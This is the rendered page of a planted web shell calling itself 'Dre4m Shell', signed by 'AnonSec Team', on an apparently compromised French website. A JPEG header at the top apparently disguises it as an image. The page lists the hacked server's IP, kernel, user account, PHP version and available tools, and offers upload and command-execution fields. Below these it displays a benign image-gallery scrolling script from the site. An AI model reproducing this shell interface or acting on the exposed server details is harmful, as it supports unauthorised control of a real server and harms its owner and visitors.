ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/nexia-rh.fr/business/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/nexia-rh.fr/business/js/g_galerie.js
 document.addEventListener('DOMContentLoaded', () => {
  document.querySelectorAll('.gal-wrap').forEach(wrap => {
    const viewport = wrap.querySelector('.gal-viewport');
    const track = wrap.querySelector('.gal-track');
    const cards = track.querySelectorAll('.gal-card');
    const imgs  = track.querySelectorAll('img');
    const prev  = wrap.querySelector('.gal-prev');
    const next  = wrap.querySelector('.gal-next');

    // ====== garde ton sizing tel quel ======
    function ajuster(){
      const imgH = parseInt(getComputedStyle(wrap).getPropertyValue('--img-h')) || 310;
      const gap  = parseInt(getComputedStyle(wrap).getPropertyValue('--gap')) || 10;
      const vw   = viewport.clientWidth;
      let total = 0;

      imgs.forEach(img => {
        const card = img.closest('.gal-card');
        const ratio = (img.naturalWidth && img.naturalHeight) ? (img.naturalWidth / img.naturalHeight) : 1;
        const w = imgH * ratio;
        card.style.setProperty('--w', w + 'px');
        total += w + gap;
      });

      if (total < vw && total > 0) {
        const scale = vw / total;
        imgs.forEach(img => {
          const card = img.closest('.gal-card');
          const baseW = parseFloat(card.style.getPropertyValue('--w')) || 0;
          card.style.setProperty('--w', (baseW * scale) + 'px');
        });
      }
    }

    imgs.forEach(img => {
      if (img.complete) ajuster();
      else img.addEventListener('load', ajuster, {once:true});
    });
    window.addEventListener('resize', ajuster);

    // ====== nouveau défilement: maintien = glissement lent ======
    const SPEED = 240;        // px/sec en maintien
    const SPEED_BOOST = 450;  // px/sec si Shift enfoncé au démarrage
    const NUDGE = 140;        // petit pas au clic bref

    let rafId = null, dir = 0, lastT = 0, speed = SPEED;

    function step(t){
      if (!dir) return;
      if (!lastT) lastT = t;
      const dt = (t - lastT) / 1000;
      lastT = t;
      viewport.scrollLeft += dir * speed * dt;
      rafId = requestAnimationFrame(step);
    }
    function startScroll(d, boost){
      stopScroll();
      dir = d;
      speed = boost ? SPEED_BOOST : SPEED;
      lastT = 0;
      rafId = requestAnimationFrame(step); 
    }
    function stopScroll(){
      dir = 0;
      if (rafId){ cancelAnimationFrame(rafId); rafId = null; }
    }

    // Prev (gauche)
    if (prev){
      prev.addEventListener('mousedown', e => { e.preventDefault(); startScroll(-1, e.shiftKey); });
      prev.addEventListener('touchstart', () => startScroll(-1, false), {passive:true});
      prev.addEventListener('mouseup', stopScroll);
      prev.addEventListener('mouseleave', stopScroll);
      prev.addEventListener('touchend', stopScroll);
      prev.addEventListener('click', e => { e.preventDefault(); viewport.scrollBy({ left: -NUDGE, behavior:'smooth' }); });
    }

    // Next (droite)
    if (next){
      next.addEventListener('mousedown', e => { e.preventDefault(); startScroll( 1, e.shiftKey); });
      next.addEventListener('touchstart', () => startScroll( 1, false), {passive:true});
      next.addEventListener('mouseup', stopScroll);
      next.addEventListener('mouseleave', stopScroll);
      next.addEventListener('touchend', stopScroll);
      next.addEventListener('click', e => { e.preventDefault(); viewport.scrollBy({ left: NUDGE, behavior:'smooth' }); });
    }

    // Sécurité: on stoppe si focus/onglet change
    window.addEventListener('blur', stopScroll);
    document.addEventListener('visibilitychange', stopScroll);
  });
});
  

Anon7 - 2022
AnonSec Team